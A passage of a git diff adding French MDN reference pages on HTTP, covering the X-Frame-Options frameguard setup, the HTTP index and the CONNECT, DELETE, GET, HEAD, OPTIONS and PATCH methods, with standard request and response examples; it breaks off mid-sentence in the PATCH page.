id="Configurer_Express_Utiliser_frameguard_en_Node.js">Configurer Express / Utiliser frameguard en Node.js</h3> + +<p>Si on utilise Express, on pourra utiliser le module <a href="https://helmetjs.github.io/">helmet</a> qui tire parti de <a href="https://helmetjs.github.io/docs/frameguard/">frameguard</a> afin de régler cet en-tête :</p> + +<pre class="brush: js">const helmet = require('helmet'); +const app = express(); +app.use(helmet.frameguard({ action: "sameorigin" })); +</pre> + +<p>On pourra également utiliser <a href="https://helmetjs.github.io/docs/frameguard/">frameguard</a> directement :</p> + +<pre class="brush: js">const frameguard = require('frameguard') +app.use(frameguard({ action: 'sameorigin' })) +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7034")}}</td> + <td><em>HTTP Header Field X-Frame-Options</em></td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div> + +<p>{{Compat("http.headers.X-Frame-Options")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors"><code>frame-ancestors</code></a> lié à la configuration de la stratégie CSP via {{HTTPHeader("Content-Security-Policy")}}</li> +</ul> diff --git a/files/fr/web/http/index.html b/files/fr/web/http/index.html new file mode 100644 index 0000000000..b88da0690e --- /dev/null +++ b/files/fr/web/http/index.html @@ -0,0 +1,87 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - Accueil + - HTTP + - Reference + - TCP/IP + - Web + - Web Development +translation_of: Web/HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong><dfn>Hypertext Transfer Protocol (HTTP)</dfn></strong> est un protocole de <a class="external" href="https://fr.wikipedia.org/wiki/Couche_application">la couche application</a> servant à transmettre des documents hypermédia, comme HTML. Il a été conçu pour communiquer entre les navigateurs web et les serveurs web, bien qu'il puisse être utilisé à d'autres fins. Il suit le modèle classique <a class="external" href="https://fr.wikipedia.org/wiki/Client-serveur">client-serveur</a>, un client ouvre une connexion, effectue une requête et attend jusqu'à recevoir une réponse. Il s'agit aussi d'un <a class="external" href="https://fr.wikipedia.org/wiki/Protocole_sans_%C3%A9tat">protocole sans état</a>, ce qui signifie que le serveur ne conserve aucune donnée (on parle d'état) entre deux requêtes. Bien que généralement basé sur une couche TCP/IP, HTTP peut aussi être utilisé sur toute <a class="external" href="https://fr.wikipedia.org/wiki/Couche_transport">couche de transport</a> fiable, garantissant qu'aucune donnée ne peut être perdue en chemin, contrairement à UDP par exemple.</p> + +<div class="column-container"> +<div class="column-half"> +<h2 id="Tutoriels">Tutoriels</h2> + +<p>Apprenez comment utiliser HTTP avec des guides et des tutoriels.</p> + +<dl> + <dt><a href="/fr/docs/Web/HTTP/Overview">Aperçu du protocole HTTP</a></dt> + <dd>Les fonctionnalités de base de ce protocole client-serveur : ce qui est permis par HTTP ainsi que le cadre d'utilisation de ce protocole.</dd> + <dt><a href="/fr/docs/Web/HTTP/Caching">La mise en cache avec HTTP</a></dt> + <dd>La mise en cache est critique pour permettre aux sites web d'être rapides. Cet article décrit les différentes méthodes de mise en cache et comment utiliser les en-têtes HTTP afin de contrôler le cache.</dd> + <dt><a href="/fr/docs/Web/HTTP/Cookies">Les cookies HTTP</a></dt> + <dd>Le fonctionnement des cookies est décrit dans la <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>. Lorsqu'un serveur répond à une requête HTTP, ce dernier peut envoyer un en-tête <code>Set-Cookie</code> avec la réponse. Le client retourne alors la valeur du cookie lors de chaque requête vers ce serveur via un en-tête <code>Cookie</code> dans la requête. Le cookie peut posséder une date d'expiration, être restreint à un domaine spécifique ou à un chemin d'accès donné.</dd> + <dt><a href="/fr/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></dt> + <dd><strong>Les requêtes HTTP cross-sites</strong> sont des requêtes HTTP pour des ressources situées dans un <strong>domaine différent</strong> de celui dans lequel se situe la ressource qui effectue la requête. Par exemple, une page HTML d'un domaine A (<code>http://domainea.example/</code>) effectue une requête pour une image au sein du domaine B (<code>http://domaineb.foo/image.jpg</code>) à l'aide de la balise <code>img</code>. Les pages web actuelles effectuent souvent des requêtes cross-sites pour charger des éléments comme des feuilles de style CSS, des images, des scripts ou d'autres ressources. CORS permet aux développeurs web de contrôler comment leur site doit se comporter lorsqu'il reçoit des requêtes cross-sites.</dd> +</dl> + +<dl> + <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Évolution du protocole HTTP</a></dt> + <dd>Une brève description des changements qui ont eu lieu entre les toutes premières versions de HTTP jusqu'à la version HTTP/2 et au-delà.</dd> + <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Guide de sécurité Mozilla pour le Web</a></dt> + <dd>Une liste d'astuces visant à aider les équipes opérationnelles afin de créer des applications web mieux sécurisées (en anglais).</dd> +</dl> + +<dl> + <dt><a href="/fr/docs/Web/HTTP/Messages">Les messages HTTP</a></dt> + <dd>Une description des types et structures de chaque message pour HTTP/1.x et HTTP/2.</dd> + <dt><a href="/fr/docs/Web/HTTP/Session">Une session HTTP classique</a></dt> + <dd>Un exemple et l'explication du déroulement d'une session HTTP classique.</dd> + <dt><a href="/fr/docs/Web/HTTP/Connection_management_in_HTTP_1.x">La gestion des connexions pour HTTP/1.x</a></dt> + <dd>Un aperçu des trois modèles de gestion de connexion disponibles pour HTTP/1.x ainsi que leurs forces et faiblesses respectives.</dd> +</dl> +</div> + +<div class="column-half"> +<h2 id="Référence">Référence</h2> + +<p>Naviguez dans la documentation détaillée de HTTP.</p> + +<dl> + <dt><a href="/fr/docs/HTTP/Headers">Les en-têtes HTTP</a></dt> + <dd>Les messages d'en-tête HTTP sont utilisés pour décrire précisément la ressource ou le comportement du client ou du serveur. Un en-tête propriétaire sur mesure peut être ajouté en utilisant le préfixe <code>X-</code> ; d'autres en-têtes sont disponibles dans le <a class="external" href="https://www.iana.org/assignments/message-headers/perm-headers.html">registre de l'IANA</a>, dont le contenu original a été défini dans le <a class="external" href="https://tools.ietf.org/html/rfc4229">RFC 4229</a>. L'IANA maintient aussi un <a class="external" href="https://www.iana.org/assignments/message-headers/prov-headers.html">registre des nouveaux messages d'en-tête HTTP qui sont proposés</a>.</dd> + <dt><a href="/fr/docs/Web/HTTP/Methods">Les méthodes de requête HTTP</a></dt> + <dd>Différentes opérations peuvent être effectuées avec HTTP : les plus connues {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, mais aussi des requêtes comme {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}} ou {{HTTPMethod("TRACE")}}.</dd> + <dt><a href="/fr/docs/Web/HTTP/Response_codes">Les codes de réponse HTTP</a></dt> + <dd>Les codes de réponses HTTP indiquent si une requête HTTP a été complétée avec succès. Les réponses sont regroupées en cinq classes : les réponses informationnelles, les réponses de succès, les redirections, les erreurs client et les erreurs serveur.</dd> +</dl> + +<dl> + <dt><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy">Les directives CSP</a></dt> + <dd>Les champs de l'en-tête de réponse {{HTTPHeader("Content-Security-Policy")}} permettent aux administrateurs de contrôler les ressources accessibles pour un agent utilisateur au sein d'une page donnée. De manière générale, il s'agit de directives relatives à l'origine du serveur ainsi qu'aux points de terminaison des scripts.</dd> +</dl> + +<h2 id="Outils_et_ressources">Outils et ressources</h2> + +<p>Outils utiles pour utiliser et déboguer HTTP.</p> + +<dl> + <dt><a href="/fr/docs/Tools">Firefox Developer Tools</a></dt> + <dd><a href="/fr/docs/Tools/Network_Monitor">Moniteur réseau</a></dd> + <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt> + <dd> + <p>Un projet conçu pour aider les développeurs, les administrateurs système ainsi que les professionnels de la sécurité à configurer leur site de manière sûre et sécurisée.</p> + </dd> + <dt><a class="external" href="https://redbot.org/">RedBot</a></dt> + <dd>Des outils pour vérifier vos en-têtes liés à la gestion du cache.</dd> + <dt><a href="https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">How Browsers Work</a></dt> + <dd>Un article détaillé sur le fonctionnement d'un navigateur et l'organisation des requêtes HTTP durant la navigation. Un article à lire pour tout développeur web (en anglais).</dd> +</dl> +</div> +</div> diff --git a/files/fr/web/http/index/index.html b/files/fr/web/http/index/index.html new file mode 100644 index 0000000000..0b2c522847 --- /dev/null +++ b/files/fr/web/http/index/index.html @@ -0,0 +1,15 @@ +--- +title: Index +slug: Web/HTTP/Index +tags: + - HTTP + - Index +translation_of: Web/HTTP/Index +--- +<p>{{HTTPSidebar}}</p> + +<h2 id="Pages_MDN_HTTP">Pages MDN HTTP</h2> + +<p>Cette page liste toutes les pages de MDN sur le HTTP avec leur résumé et balises.</p> + +<p>{{Index("fr/docs/Web/HTTP")}}</p> diff --git a/files/fr/web/http/méthode/connect/index.html b/files/fr/web/http/méthode/connect/index.html new file mode 100644 index 0000000000..62b1ee7d6c --- /dev/null +++ b/files/fr/web/http/méthode/connect/index.html @@ -0,0 +1,86 @@ +--- +title: CONNECT +slug: Web/HTTP/Méthode/CONNECT +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/CONNECT +--- +<div>{{HTTPSidebar}}</div> + +<p>La <strong>méthode HTTP <code>CONNECT</code></strong> crée une communication bidirectionnelle avec la ressource demandée. Elle peut être utilisée pour ouvrir un tunnel.</p> + +<p>Par exemple, la méthode <code>CONNECT</code> peut être utilisée pour accéder à des sites web qui utilisent {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Le client demande à un serveur Proxy HTTP de créer un tunnel TCP vers la destination désirée. Le serveur poursuit alors afin d'établir la connexion pour le compte du client. Une fois que la connexion a été établie par le serveur, le serveur Proxy continue de gérer le flux TCP à destination et en provenance du client.</p> + +<p><code>CONNECT</code> est une méthode "saut-par-saut".</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Sûre")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Peut être mise en cache")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1 +</pre> + +<h2 id="Exemple">Exemple</h2> + +<p>Certains serveurs proxy pourraient avoir besoin d'une autorisation pour créer un tunnel. Voir aussi l'en-tête {{HTTPHeader("Proxy-Authorization")}}.</p> + +<pre class="line-numbers language-html">CONNECT server.example.com:80 HTTP/1.1 +Host: server.example.com:80 +Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/methods", "CONNECT")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{Glossary("Proxy server")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> +</ul> diff --git a/files/fr/web/http/méthode/delete/index.html b/files/fr/web/http/méthode/delete/index.html new file mode 100644 index 0000000000..d2a40a8ea9 --- /dev/null +++ b/files/fr/web/http/méthode/delete/index.html @@ -0,0 +1,93 @@ +--- +title: DELETE +slug: Web/HTTP/Méthode/DELETE +tags: + - HTTP + - HTTP method + - Reference + - Request method +translation_of: Web/HTTP/Methods/DELETE +--- +<div>{{HTTPSidebar}}</div> + +<p>La <strong>méthode HTTP DELETE</strong> supprime la ressource indiquée.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Sûre")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Peut être mise en cache")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">DELETE /file.html HTTP/1.1 +</pre> + +<h2 id="Exemple">Exemple</h2> + +<h3 id="Requête">Requête</h3> + +<pre>DELETE /file.html HTTP/1.1</pre> + +<h3 id="Réponses">Réponses</h3> + +<p>Si une méthode <code>DELETE</code> est appliquée avec succès, il y a plusieurs codes de statut de réponse possibles :</p> + +<ul> + <li>Un code de statut {{HTTPStatus("202")}} (<code>Accepted</code>) si l'action est en passe de réussir mais n'a pas encore été confirmée.</li> + <li>Un code de statut {{HTTPStatus("204")}} (<code>No Content</code>) si l'action a été confirmée et qu'aucune information supplémentaire n'est à fournir.</li> + <li>Un code de statut {{HTTPStatus("200")}} (<code>OK</code>) si l'action a été confirmée et que le message de réponse inclut une représentation décrivant le statut.</li> +</ul> + +<pre>HTTP/1.1 200 OK +Date: Wed, 21 Oct 2015 07:28:00 GMT + +<html> + <body> + <h1>File deleted.</h1> + </body> +</html></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "DELETE", "4.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}</li> +</ul> diff --git a/files/fr/web/http/méthode/get/index.html b/files/fr/web/http/méthode/get/index.html new file mode 100644 index 0000000000..008f479d98 --- /dev/null +++ b/files/fr/web/http/méthode/get/index.html @@ -0,0 +1,73 @@ +--- +title: GET +slug: Web/HTTP/Méthode/GET +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/GET +--- +<div>{{HTTPSidebar}}</div> + +<p>La <strong>méthode HTTP GET</strong> demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe","Sûre")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent","Idempotente")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable","Peut être mise en cache")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">Autorisée dans les formulaires HTML</th> + <td>Oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">GET /index.html +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "GET", "4.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/methods", "GET")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Range")}}</li> +</ul> diff --git a/files/fr/web/http/méthode/head/index.html b/files/fr/web/http/méthode/head/index.html new file mode 100644 index 0000000000..f89bbdde39 --- /dev/null +++ b/files/fr/web/http/méthode/head/index.html @@ -0,0 +1,77 @@ +--- +title: HEAD +slug: Web/HTTP/Méthode/HEAD +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/HEAD +--- +<div>{{HTTPSidebar}}</div> + +<p>La <strong>méthode HTTP <code>HEAD</code></strong> demande les en-têtes qui seraient retournés si la ressource spécifiée était demandée avec une méthode HTTP {{HTTPMethod("GET")}}. Une telle requête peut être envoyée avant de procéder au téléchargement d'une ressource volumineuse, par exemple pour économiser de la bande passante.</p> + +<p>Une réponse issue d'une requête <code>HEAD</code> ne doit pas avoir de corps. Si tel est le cas, elle doit être ignorée. Toutefois, les {{glossary("En-têtes d'entité", "en-têtes d'entité")}} décrivant le contenu du corps, comme {{HTTPHeader("Content-Length")}}, peuvent être inclus dans la réponse. Ils ne sont pas liés au corps de la réponse <code>HEAD</code> , qui doit être vide, mais au corps d'une réponse issue d'une requête similaire utilisant la méthode {{HTTPMethod("GET")}}.</p> + +<p>Si le résultat d'une requête <code>HEAD</code> montre qu'une ressource mise en cache après une requête {{HTTPMethod("GET")}} est désormais dépassée, le cache est invalidé, même si aucune requête GET n'a été émise.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Sûre")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Peut être mise en cache")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">HEAD /index.html +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "HEAD", "4.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/methods", "HEAD")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPMethod("GET")}}</li> +</ul> diff --git a/files/fr/web/http/méthode/index.html b/files/fr/web/http/méthode/index.html new file mode 100644 index 0000000000..25ae456c7c --- /dev/null +++ b/files/fr/web/http/méthode/index.html @@ -0,0 +1,73 @@ +--- +title: Méthodes de requête HTTP +slug: Web/HTTP/Méthode +tags: + - HTTP + - Méthodes + - Reference +translation_of: Web/HTTP/Methods +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP définit un ensemble de <strong>méthodes de requête</strong> qui indiquent l'action que l'on souhaite réaliser sur la ressource indiquée. Bien qu'on rencontre également des noms (en anglais), ces méthodes sont souvent appelées <em>verbes HTTP</em>. Chacun d'eux implémente une sémantique différente mais certaines fonctionnalités courantes peuvent être partagées par différentes méthodes (e.g. une méthode de requête peut être sûre (<em>safe</em>), idempotente ou être mise en cache (<em>cacheable</em>)).</p> + +<dl> + <dt><code><a href="/fr/docs/Web/HTTP/Méthode/GET">GET</a></code></dt> + <dd>La méthode GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.</dd> + <dt><code><a href="/fr/docs/Web/HTTP/Méthode/HEAD">HEAD</a></code></dt> + <dd>La méthode <code>HEAD</code> demande une réponse identique à une requête GET pour laquelle on aura omis le corps de la réponse (on a uniquement l'en-tête).</dd> + <dt><code><a href="/fr/docs/Web/HTTP/Méthode/POST">POST</a></code></dt> + <dd>La méthode <code>POST</code> est utilisée pour envoyer une entité vers la ressource indiquée. Cela entraîne généralement un changement d'état ou des effets de bord sur le serveur.</dd> + <dt><code><a href="/fr/docs/Web/HTTP/Méthode/PUT">PUT</a></code></dt> + <dd> + <p>La méthode <code>PUT</code> remplace toutes les représentations actuelles de la ressource visée par le contenu de la requête.</p> + </dd> + <dt><code><a href="/fr/docs/Web/HTTP/Méthode/DELETE">DELETE</a></code></dt> + <dd>La méthode <code>DELETE</code> supprime la ressource indiquée.</dd> + <dt><code><a href="/fr/docs/Web/HTTP/Méthode/CONNECT">CONNECT</a></code></dt> + <dd> + <p>La méthode <code>CONNECT</code> établit un tunnel vers le serveur identifié par la ressource cible.</p> + </dd> + <dt><code><a href="/fr/docs/Web/HTTP/Méthode/OPTIONS">OPTIONS</a></code></dt> + <dd>La méthode <code>OPTIONS</code> est utilisée pour décrire les options de communications avec la ressource visée.</dd> + <dt><code><a href="/fr/docs/Web/HTTP/Méthode/TRACE">TRACE</a></code></dt> + <dd> + <p>La méthode <code>TRACE</code> réalise un message de test aller/retour en suivant le chemin de la ressource visée.</p> + </dd> + <dt><code><a href="/fr/docs/Web/HTTP/Méthode/PATCH">PATCH</a></code></dt> + <dd>La méthode <code>PATCH</code> est utilisée pour appliquer des modifications partielles à une ressource.</dd> +</dl> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + <th scope="col">Commentaires</th> + </tr> + <tr> + <td>{{RFC("7231", "Request methods", "4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + <td>Définition de GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS et TRACE.</td> + </tr> + <tr> + <td>{{RFC("5789", "Patch method", "2")}}</td> + <td>PATCH Method for HTTP</td> + <td>Définition de PATCH.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Ce tableau de compatibilité a été généré à partir de données structurée. Pour contribuer à ces données, vous pouvez écrire une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p> + +<p>{{Compat("http/methods")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/HTTP/Headers">Les en-têtes (<em>headers</em>) HTTP</a></li> +</ul> diff --git a/files/fr/web/http/méthode/options/index.html b/files/fr/web/http/méthode/options/index.html new file mode 100644 index 0000000000..ccdd97ef59 --- /dev/null +++ b/files/fr/web/http/méthode/options/index.html @@ -0,0 +1,124 @@ +--- +title: OPTIONS +slug: Web/HTTP/Méthode/OPTIONS +translation_of: Web/HTTP/Methods/OPTIONS +--- +<div>{{HTTPSidebar}}</div> + +<p>La <strong>méthode HTTP <code>OPTIONS</code></strong> est utilisée pour décrire les options de communication pour la ressource ciblée. Le client peut renseigner une URL spécifique pour la méthode OPTIONS, ou une astérisque (*) pour interroger le serveur dans sa globalité.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Sûre")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Peut être mise en cache")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> + <td>Non</td> + </tr> + </tbody> +</table> + +<p> </p> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">OPTIONS /index.html HTTP/1.1 +OPTIONS * HTTP/1.1 +</pre> + +<h2 id="Examples">Examples</h2> + +<h3 id="Identifier_les_méthodes_HTTP_autorisées">Identifier les méthodes HTTP autorisées</h3> + +<p>Pour déterminer les méthodes HTTP supportées par le serveur, on peut utiliser curl et envoyer une requête OPTIONS :</p> + +<pre>curl -X OPTIONS http://example.org -i</pre> + +<p>La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthodes autorisées :</p> + +<pre>HTTP/1.1 200 OK +Allow: OPTIONS, GET, HEAD, POST +Cache-Control: max-age=604800 +Date: Thu, 13 Oct 2016 11:45:00 GMT +Expires: Thu, 20 Oct 2016 11:45:00 GMT +Server: EOS (lax004/2813) +x-ec-custom-error: 1 +Content-Length: 0 +</pre> + +<h3 id="Requête_de_pré-vérification_cross-origin_CORS">Requête de pré-vérification cross-origin <a href="https://developer.mozilla.org/fr/docs/Glossaire/CORS">CORS</a></h3> + +<p>En <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a>, une requête de pré-vérification est envoyée avec la méthode <code>OPTIONS</code> afin que le serveur indique si la requête est acceptable avec les paramètres spécifiés. En tant qu'élément de la requête de pré-vérification, le header {{HTTPHeader("Access-Control-Request-Method")}} notifie le serveur que lorsque la véritable requête sera envoyée, ce sera avec une méthode <code>POST</code>. Le header {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que lorsque la vraie requête sera envoyée, elle aura les en-tête personnalisés <code>X-PINGOTHER</code> et <code>Content-Type</code>. Le serveur a maintenant la possibilité de déterminer s'il souhaite ou non accepter la requête dans les conditions énoncées par la requête de pré-vérification.</p> + +<pre>OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre> + +<p>Dans la réponse du serveur, l'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique que les méthodes <code>POST</code>, <code>GET</code>, and <code>OPTIONS</code> sont utilisables pour interroger la ressource. Cet en-tête est similaire à {{HTTPHeader("Allow")}}, mais utilisé uniquement dans le contexte CORS.</p> + +<pre>HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "OPTIONS", "4.3.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.OPTIONS")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>en-tête {{HTTPHeader("Allow")}}</li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a></li> +</ul> diff --git a/files/fr/web/http/méthode/patch/index.html b/files/fr/web/http/méthode/patch/index.html new file mode 100644 index 0000000000..aca3dfe6d4 --- /dev/null +++ b/files/fr/web/http/méthode/patch/index.html @@ -0,0 +1,89 @@ +--- +title: PATCH +slug: Web/HTTP/Méthode/PATCH +translation_of: Web/HTTP/Methods/PATCH +--- +<p>La <strong>méthode <code>PATCH</code> d'une requête HTTP</strong> applique des modifications partielles à une ressource.</p> + +<p>La méthode HTTP {{HTTPMethod("PUT")}} est déjà définie pour écraser une ressource avec un nouveau corps complet de message, et pour la méthode HTTP {{HTTPMethod("POST")}}, il n'existe aucun moyen standard pour découvrir le support de format de patch. Tout comme <code>POST</code>, la méthode HTTP <code>PATCH</code> n'est pas listée comme étant idempotent, contrairement à <code>PUT</code>. Cela signifie que les requêtes patch identiques et successives auront des effets différents sur l'objet manipulé.</p> + +<p>Pour découvrir si un serveur supporte la méthode PATCH, un serveur peut 